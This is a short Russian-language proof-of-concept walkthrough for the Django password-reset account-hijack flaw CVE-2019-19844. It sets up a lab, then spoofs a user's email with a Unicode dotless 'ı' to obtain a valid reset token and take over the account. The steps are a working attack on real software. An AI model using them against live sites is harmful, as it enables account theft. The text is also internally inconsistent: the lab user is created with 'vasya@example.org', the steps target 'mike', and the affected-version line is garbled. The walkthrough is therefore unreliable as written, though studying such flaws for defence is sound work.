Уязвимость Account Hijack в Django Framework
В Python-фреймворке Django версий < 3.0 < 2.2 < 1.11, предназначенном для создания веб-приложений, обнаружена уязвимость класса Account Hijack.
Злоумышленник, зная email-адрес учетной записи, может создать поддельный email, который, из—за некорректного проведения преобразований регистров Unicode, будет определяться как оригинальный, и получить действительный токен сброса пароля для учетной записи пользователя.
Информация предоставлена исключительно для ознакомления. Не нарушайте законодательство.
Предварительная настройка стенда
- Создаем базу данных;
- Устанавливаем имя БД в переменную окружения:
`export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc`
- Устанавливаем зависимости:
# pip install -r requirements.txt && ./manage.py migrate --noinput
- Создаем пользователя:
# python >>> from django.contrib.auth import get_user_model >>> User = get_user_model() >>> User.objects.create_user('pickle', 'vasya@example.org', 'test123')
Эксплуатация уязвимости
- Запустить веб-сервер:
# ./manage.py runserver
- Перейти по ссылке;
- Восстановить пароль для учётной записи, введя поддельную электронную почту
mıke@example.org
; - Сменить пароль учётной записи пользователя, перейдя по ссылке из электронного письма на почте
mıke@example.org
; - Войти с новым паролем в учётную запись
mike123
.